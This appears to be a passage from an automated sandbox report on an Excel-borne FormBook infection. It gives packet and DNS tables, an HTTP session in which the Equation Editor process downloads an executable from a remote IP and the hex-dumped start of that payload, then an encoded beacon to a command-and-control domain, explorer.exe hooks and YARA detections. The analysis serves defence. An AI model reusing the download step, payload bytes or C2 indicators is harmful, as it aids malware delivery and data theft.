Jun 16, 2021 11:55:53.673100948 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673118114 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673125029 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673151970 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673157930 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673178911 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673183918 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673221111 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673234940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673243999 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673264027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673293114 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673296928 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673320055 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673326015 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673348904 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673350096 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673376083 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673387051 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673408031 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673413992 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673438072 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673444986 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673470974 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673472881 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673501015 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673530102 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673537970 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673547983 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673557043 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673557997 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673585892 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673598051 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673614025 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673641920 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673649073 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673677921 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673680067 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673691034 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673707962 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673712015 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673737049 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673743963 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673764944 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673779011 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673793077 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673795938 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673820019 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673835039 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673849106 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673852921 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673882961 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673897028 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673914909 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673918962 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673943043 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.673949003 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.673979998 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.674004078 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.912589073 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.912872076 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.913702965 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.913746119 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.913784981 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.913805962 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.913822889 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.913829088 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.913851023 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.913862944 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.913881063 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.914031029 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.028563976 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.028764963 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.163662910 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.163713932 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.163826942 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.163877964 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.164519072 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.164561987 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.164628029 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.164654970 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.164978027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165019989 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165072918 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165077925 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165098906 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165121078 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165153980 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165172100 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165172100 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165213108 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165244102 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165292025 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165335894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165337086 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165349960 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165370941 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:54.165401936 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.165422916 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:54.830177069 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:57:06.272623062 CEST	49168	80	192.168.2.22	34.102.136.180
Jun 16, 2021 11:57:06.315706968 CEST	80	49168	34.102.136.180	192.168.2.22
Jun 16, 2021 11:57:06.315856934 CEST	49168	80	192.168.2.22	34.102.136.180
Jun 16, 2021 11:57:06.316123962 CEST	49168	80	192.168.2.22	34.102.136.180
Jun 16, 2021 11:57:06.359004021 CEST	80	49168	34.102.136.180	192.168.2.22
Jun 16, 2021 11:57:06.455310106 CEST	80	49168	34.102.136.180	192.168.2.22
Jun 16, 2021 11:57:06.455348015 CEST	80	49168	34.102.136.180	192.168.2.22
Jun 16, 2021 11:57:06.455755949 CEST	49168	80	192.168.2.22	34.102.136.180
Jun 16, 2021 11:57:06.455879927 CEST	49168	80	192.168.2.22	34.102.136.180
Jun 16, 2021 11:57:06.764291048 CEST	49168	80	192.168.2.22	34.102.136.180
Jun 16, 2021 11:57:06.807420015 CEST	80	49168	34.102.136.180	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 11:57:06.191196918 CEST	52197	53	192.168.2.22	8.8.8.8
Jun 16, 2021 11:57:06.257260084 CEST	53	52197	8.8.8.8	192.168.2.22
Jun 16, 2021 11:57:26.653598070 CEST	53099	53	192.168.2.22	8.8.8.8
Jun 16, 2021 11:57:26.736512899 CEST	53	53099	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 16, 2021 11:57:06.191196918 CEST	192.168.2.22	8.8.8.8	0xccff	Standard query (0)	www.glendalesocialmediaagency.com	A (IP address)	IN (0x0001)
Jun 16, 2021 11:57:26.653598070 CEST	192.168.2.22	8.8.8.8	0x2e78	Standard query (0)	www.switchfinder.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 16, 2021 11:57:06.257260084 CEST	8.8.8.8	192.168.2.22	0xccff	No error (0)	www.glendalesocialmediaagency.com	glendalesocialmediaagency.com		CNAME (Canonical name)	IN (0x0001)
Jun 16, 2021 11:57:06.257260084 CEST	8.8.8.8	192.168.2.22	0xccff	No error (0)	glendalesocialmediaagency.com		34.102.136.180	A (IP address)	IN (0x0001)
Jun 16, 2021 11:57:26.736512899 CEST	8.8.8.8	192.168.2.22	0x2e78	Name error (3)	www.switchfinder.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

103.155.82.236

www.glendalesocialmediaagency.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	103.155.82.236	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 11:55:51.393867970 CEST	0	OUT	GET /frsdoc/svchost.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 103.155.82.236 Connection: Keep-Alive
Jun 16, 2021 11:55:51.645781994 CEST	1	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 09:55:53 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Wed, 16 Jun 2021 05:51:59 GMT ETag: "d2800-5c4dbb062604a" Accept-Ranges: bytes Content-Length: 862208 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7f 91 c9 60 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 1c 0d 00 00 0a 00 00 00 00 00 00 be 3a 0d 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 3a 0d 00 53 00 00 00 00 40 0d 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 1a 0d 00 00 20 00 00 00 1c 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 08 00 00 00 40 0d 00 00 08 00 00 00 1e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0d 00 00 02 00 00 00 26 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 3a 0d 00 00 00 00 00 48 00 00 00 02 00 05 00 90 ab 0b 00 d8 8e 01 00 03 00 00 00 01 00 00 06 a8 18 01 00 e8 92 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7a 2b 02 26 16 2b 02 26 16 28 01 00 00 0a 28 02 00 00 0a 28 14 00 00 06 02 6f 03 00 00 0a 2a 00 13 30 02 00 c5 00 00 00 01 00 00 11 2b 02 26 16 2b 02 26 16 2b 02 26 16 16 2b 32 02 16 28 0a 00 00 06 38 94 00 00 00 26 1b 28 05 00 00 06 2c 03 17 2b 03 16 2b 00 2d 15 38 87 00 00 00 02 16 28 09 00 00 06 2b d5 16 38 6c 00 00 00 06 45 08 00 00 00 0d 00 00 00 17 00 00 00 cb ff ff ff a9 ff ff ff b0 ff ff ff 49 00 00 00 cb ff ff ff 5e 00 00 00 19 17 2c 03 17 2b 03 16 2b 00 2d cf 26 02 16 28 07 00 00 06 17 2b c4 02 16 28 08 00 00 06 28 06 00 00 06 28 05 00 00 06 2c 03 16 2b 03 17 2b 00 2d 83 26 1c 28 06 00 00 06 2c 03 16 2b 03 17 2b 00 2d 98 26 2b 03 0a 2b 91 02 16 28 0b 00 00 06 2b 06 26 38 73 ff ff ff 1d 38 7d ff ff ff 2a 66 2b 02 26 16 2b 02 26 16 02 28 0c 00 00 06 28 0d 00 00 06 28 08 00 00 0a 2a 66 2b 02 26 16 2b 02 26 16 02 28 0c 00 00 06 28 0e 00 00 06 28 0f 00 00 06 2a 2a 2b 02 26 16 2b 02 26 16 17 2a 2a 2b 02 26 16 2b 02 26 16 16 2a 42 2b 02 26 16 2b 02 26 16 02 03 28 09 00 00 0a 2a 42 2b 02 26 16 2b 02 26 16 02 03 28 0a 00 00 0a 2a 42 2b 02 26 16 2b 02 26 16 02 03 28 0b 00 00 0a 2a 42 2b 02 26 16 2b 02 26 16 02 03 28 0c 00 00 0a 2a 42 2b 02 26 16 2b 02 26 16 02 03 28 0d 00 00 0a 2a 3e 2b 02 26 16 2b 02 26 16 00 28 16 00 00 06 2a Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL`: @ @h:S@` H.text `.rsrc@@@.reloc`&@B:Hz+&+&(((o0+&+&+&+2(8&(,++-8(+8lEI^,++-&(+(((,++-&(,++-&++(+&8s8}f+&+&(((f+&+&(((+&+&+&+&B+&+&(B+&+&(B+&+&(B+&+&(B+&+&(>+&+&(
Jun 16, 2021 11:55:51.645848989 CEST	3	IN	Data Raw: 3e 2b 02 26 16 2b 02 26 16 02 6f 22 00 00 06 2a 3e 2b 02 26 16 2b 02 26 16 02 6f 24 00 00 06 2a 42 2b 02 26 16 2b 02 26 16 02 03 28 0e 00 00 0a 2a 4e 2b 02 26 16 2b 02 26 16 2b 02 26 16 02 28 11 00 00 06 2a 3e 2b 02 26 16 2b 02 26 16 02 28 10 00 Data Ascii: >+&+&o">+&+&o$B+&+&(N+&+&+&(>+&+&(*0+&+&+&((,++-M+9+s+ZE%2M+&++s+&+s+s+s
Jun 16, 2021 11:55:51.645891905 CEST	4	IN	Data Raw: 00 00 48 00 00 00 2b 26 26 16 2b dd 03 02 7b 09 00 00 04 2e 39 17 28 2c 00 00 06 2c 03 17 2b 03 16 2b 00 2d e3 26 2b 03 0a 2b bd 19 2b bb 72 71 00 00 70 73 2e 00 00 0a 7a 02 02 7c 09 00 00 04 28 08 00 00 2b 2b 04 2c 95 2b 90 1b 2b 9b 2a 00 00 00 Data Ascii: H+&&+{.9(,,++-&+++rqps.z\|(++,++0+&+&(,,++-8a+?rqps.z\|+#+({.D+&+,++-++(++E+&++>+&+&(/
Jun 16, 2021 11:55:51.645931005 CEST	5	IN	Data Raw: 00 06 1a 2b c8 17 80 11 00 00 04 de 12 07 2c 03 16 2b 03 17 2b 00 2d 06 06 28 78 00 00 06 dc 7e 10 00 00 04 2a 00 00 00 01 10 00 00 02 00 93 00 82 15 01 12 00 00 00 00 66 2b 02 26 16 2b 02 26 16 02 72 4d 01 00 70 28 79 00 00 06 28 7a 00 00 06 2a Data Ascii: +,++-(x~f+&+&rMp(y(zV+&+&rMp({f+&+&rqp(y(\|j+&+&rqp-({f+&+&rp(y(zV+&+&rpo>f+&+&rp(y(}j+&+&r
Jun 16, 2021 11:55:51.896787882 CEST	7	IN	Data Raw: 07 18 72 eb 02 00 70 a2 2b 06 26 38 3f ff ff ff 1b 38 7e ff ff ff 06 2a 00 00 13 30 05 00 eb 00 00 00 09 00 00 11 2b 02 26 16 2b 02 26 16 28 88 00 00 06 28 89 00 00 06 2c 03 17 2b 03 16 2b 00 2d 38 38 b0 00 00 00 1b 38 6d 00 00 00 1e 8d 3e 00 00 Data Ascii: rp+&8?8~*0+&+&((,++-888m>8(,++-R&sO+HsP+&(,++-/+-(+#(rp(((+Ej+8m+(
Jun 16, 2021 11:55:51.896835089 CEST	8	IN	Data Raw: 2b 00 3a 84 00 00 00 38 72 00 00 00 1a 16 2c 03 16 2b 03 17 2b 00 2d 1e 2b 52 06 73 66 00 00 0a 25 02 28 9d 00 00 06 28 a7 00 00 06 28 a8 00 00 06 2b 31 1a 0b 07 45 06 00 00 00 2e 00 00 00 36 00 00 00 11 00 00 00 c7 ff ff ff 2e 00 00 00 3c 00 00 Data Ascii: +:8r,++-+Rsf%(((+1E.6.<(,++-&(+&+,++-&+&+sg+&+*0{+&+&(,++-N&8{((8(,++-+{i;
Jun 16, 2021 11:55:51.896883011 CEST	10	IN	Data Raw: 2b 18 02 02 fe 06 c3 00 00 06 73 78 00 00 0a 28 79 00 00 0a 2b 29 18 2b 20 06 45 06 00 00 00 25 00 00 00 2b 00 00 00 25 00 00 00 08 00 00 00 cb ff ff ff 31 00 00 00 2b 03 0a 2b dd 19 2b db 02 28 b2 00 00 06 2b 03 26 2b b5 1b 28 ca 00 00 06 2c 03 Data Ascii: +sx(y+)+ E%+%1+++(+&+(,++-+(+&+0A+&+&+++-#{,++,+++-{((080+&+&+/(zo8`
Jun 16, 2021 11:55:51.896925926 CEST	11	IN	Data Raw: 00 1f 09 17 2c 03 17 2b 03 16 2b 00 3a 7c 00 00 00 26 07 2c 03 16 2b 03 17 2b 00 3a a4 00 00 00 19 38 67 00 00 00 02 fe 06 c5 00 00 06 73 78 00 00 0a 0a 1a 38 54 00 00 00 07 06 28 ed 00 00 06 1f 0a 17 2c 03 17 2b 03 16 2b 00 2d 40 26 02 7b 1d 00 Data Ascii: ,++:\|&,++:8gsx8T(,++-@&{+5,++-+'{+(++}+<+&8hEh<h{T+&+>+&+&{B+&+&}*>+&+&{
Jun 16, 2021 11:55:51.896966934 CEST	13	IN	Data Raw: 02 26 16 02 03 6f b6 00 00 06 2a 42 2b 02 26 16 2b 02 26 16 02 03 6f b8 00 00 06 2a 42 2b 02 26 16 2b 02 26 16 02 03 6f ba 00 00 06 2a 42 2b 02 26 16 2b 02 26 16 02 03 6f bc 00 00 06 2a 42 2b 02 26 16 2b 02 26 16 02 03 6f be 00 00 06 2a 42 2b 02 Data Ascii: &oB+&+&oB+&+&oB+&+&oB+&+&oB+&+&oB+&+&o>+&+&(>+&+&oF+&+&oB+&+&o>+&+&o>+&+&o>+&+&o>+&+&o
Jun 16, 2021 11:55:51.897006989 CEST	14	IN	Data Raw: 01 00 06 28 56 01 00 06 02 28 55 01 00 06 02 28 49 01 00 06 28 56 01 00 06 1f 0e 38 72 fe ff ff 02 28 55 01 00 06 02 28 3b 01 00 06 28 56 01 00 06 1f 13 38 5a fe ff ff 02 19 28 58 01 00 06 16 38 4d fe ff ff 02 28 55 01 00 06 02 28 42 01 00 06 28 Data Ascii: (V(U(I(V8r(U(;(V8Z(X8M(U(B(V85(Z8'(U(Lo{,++:&(Q(T8(z(O(V8rp([8&8(Y((,++-&,++:
Jun 16, 2021 11:55:51.897056103 CEST	15	IN	Data Raw: 38 9e 00 00 00 16 2b 03 17 2b 00 2d 03 1e 2b 0c 02 03 7d 25 00 00 04 2b 34 18 0c 08 45 0b 00 00 00 c3 ff ff ff 06 00 00 00 67 00 00 00 10 00 00 00 28 00 00 00 00 00 00 00 b2 ff ff ff 4d 00 00 00 39 00 00 00 06 00 00 00 a5 00 00 00 2b 0e 26 19 2b Data Ascii: 8++-+}%+4Eg(M9+&+{%+{%((,++-&,++:o+o,++-&(`+9`8X8h#s(',++:{&+&8"(',++:+&*

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49168	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2021 11:57:06.316123962 CEST	921	OUT	GET /nff/?7nbpTbD=E6fLQbQkmX4/6uamieHtmkhlLAH8o5Ikh6AParAHUnAgUAgt+y3sQZ1X1kCbUlkP6l5bSg==&MHHh-b=chfdPRJhKHQ0Rpo0 HTTP/1.1 Host: www.glendalesocialmediaagency.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 16, 2021 11:57:06.455310106 CEST	921	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 16 Jun 2021 09:57:06 GMT Content-Type: text/html Content-Length: 275 ETag: "60c7be75-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: USER32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x85 0x5E 0xE5
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8D 0xDE 0xE5
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8D 0xDE 0xE5
GetMessageA	INLINE	0x48 0x8B 0xB8 0x85 0x5E 0xE5

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2512 Parent PID: 584

General

Start time:	11:54:49
Start date:	16/06/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f700000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2660 Parent PID: 584

General

Start time:	11:55:10
Start date:	16/06/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vbc.exe PID: 2336 Parent PID: 2660

General

Start time:	11:55:14
Start date:	16/06/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0xfa0000
File size:	862208 bytes
MD5 hash:	FF34B92FE897F13E422B67F5CBC9740C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: vbc.exe PID: 2936 Parent PID: 2336

General

Start time:	11:55:17
Start date:	16/06/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0xfa0000
File size:	862208 bytes
MD5 hash:	FF34B92FE897F13E422B67F5CBC9740C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 